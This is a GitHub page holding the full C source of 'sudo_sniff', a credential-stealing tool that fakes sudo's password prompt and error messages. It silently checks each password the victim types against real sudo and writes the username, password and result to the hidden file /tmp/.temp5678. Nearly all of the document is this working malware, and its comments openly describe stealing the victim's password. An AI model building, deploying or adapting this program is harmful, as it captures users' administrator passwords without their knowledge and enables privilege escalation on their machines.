-
Notifications
You must be signed in to change notification settings - Fork 12
/
sudo_sniff.c
167 lines (147 loc) · 5.2 KB
/
sudo_sniff.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <termios.h>
#define BUFFER_SIZE 100
#define MAX_PW_ATTEMPTS 3
#define DEFAULT_LOCATION "/tmp/.temp5678"
/* save_password()
* Writes the username, supplied password by the victim and status to disk.
*
* username: Victim's username
* password: Victim's password
* status: ERROR for incorrect password
* SUCCESS for correct password
*
*/
int save_password(char *username, char *password, char *status)
{
char text[BUFFER_SIZE] = {0};
snprintf(text, sizeof(text), "%s:%s:%s\n", username, password, status);
FILE *fp;
fp = fopen(DEFAULT_LOCATION, "a+");
if (fp != NULL)
{
fwrite(text, 1, sizeof(text), fp);
}
fclose(fp);
return 0;
}
/* basic_sudo()
* Simple executes sudo with the victim's command without trying to steal the password
*
* arguments: Contains the victim's command
*
*/
int basic_sudo(char *arguments) {
/* Contains the victim's original command */
char orgiginal_cmd[BUFFER_SIZE] = {0};
snprintf(orgiginal_cmd, sizeof(orgiginal_cmd), "/usr/bin/sudo%s", arguments);
system(orgiginal_cmd);
return 0;
}
/* check_sudo()
* Tried to execute sudo to determine if user already has sudo access.
* system() returns 256 on error which indicates no sudo access.
*
* Returns: 0 if user does not have sudo access
* 1 if the user has sudo access
*/
int check_sudo() {
int ret;
ret = system("/usr/bin/sudo -n true 2>/dev/null");
if (ret == 256) {
return 0;
} else {
return 1;
}
}
/* get_user_pass()
* Gets the victim's password and hides the input in the terminal just like sudo.
* Same arguments as getline().
*
* getline() reads an entire line from stream, storing the address of
* the buffer containing the text into *lineptr. The buffer is null-
* terminated and includes the newline character, if one was found.
*
* If *lineptr is set to NULL and *n is set 0 before the call, then
* getline() will allocate a buffer for storing the line. This buffer
* should be freed by the user program even if getline() failed."
*
*/
ssize_t get_user_pass(char **lineptr, size_t *n, FILE *stream)
{
struct termios old, new;
int nread;
/* Turn echoing off and fail if we can’t. */
if (tcgetattr (fileno (stream), &old) != 0)
return -1;
new = old;
new.c_lflag &= ~ECHO;
if (tcsetattr (fileno (stream), TCSAFLUSH, &new) != 0)
return -1;
/* Read the password. */
nread = getline (lineptr, n, stream);
/* Restore terminal. */
(void) tcsetattr (fileno (stream), TCSAFLUSH, &old);
return nread;
}
int main(int argc, char const *argv[])
{
struct passwd *usr = getpwuid(getuid());
/* Contains the password for sudo access */
char *password = NULL;
/* The victim's intital parameters to run sudo with */
char arguments[BUFFER_SIZE] = {0};
/* Full command to trick the victim into beleiving sudo ran successfully */
char command[BUFFER_SIZE] = {0};
size_t len = 0;
int args;
int pw_attempts = 1;
/* Gather all the arguments supplied by the user and store them in a buffer */
for (args = 1; args < argc; ++args) {
snprintf(arguments+strlen(arguments), sizeof(arguments)-strlen(arguments), " %s", argv[args]);
}
/* If we managed to get the current user, attempt to steal his password by faking sudo */
if(usr) {
/* Check if user already has sudo access */
if (!check_sudo()) {
/* Check if the victim supplied any arguments, if not simply run sudo */
if (argc != 1) {
while(pw_attempts <= MAX_PW_ATTEMPTS) {
printf("[sudo] password for %s: ", usr->pw_name);
get_user_pass(&password, &len, stdin);
/* Remove the \n at the end of the password, otherwise it messes up the command */
if(password[strlen(password)-1] == '\n') password[strlen(password)-1] = '\0';
/* Build the full command to be executed */
snprintf(command, sizeof(command), "echo %s | /usr/bin/sudo -S%s 2>/dev/null", password, arguments);
printf("\n");
/* Check if victim entered the correct password. system() weirdly returns 256 on error */
if((system(command)) == 256) {
printf("Sorry, try again.\n");
save_password(usr->pw_name, password, "ERROR");
} else {
save_password(usr->pw_name, password, "SUCCESS");
break;
}
/* Give the victim MAX_PW_ATTEMPTS attempts to enter his password */
if (pw_attempts == MAX_PW_ATTEMPTS) {
printf("sudo: %d incorrect password attempts\n", MAX_PW_ATTEMPTS);
}
pw_attempts++;
}
free(password);
} else {
basic_sudo("");
}
} else {
basic_sudo(arguments);
}
} else {
basic_sudo(arguments);
}
return 0;
}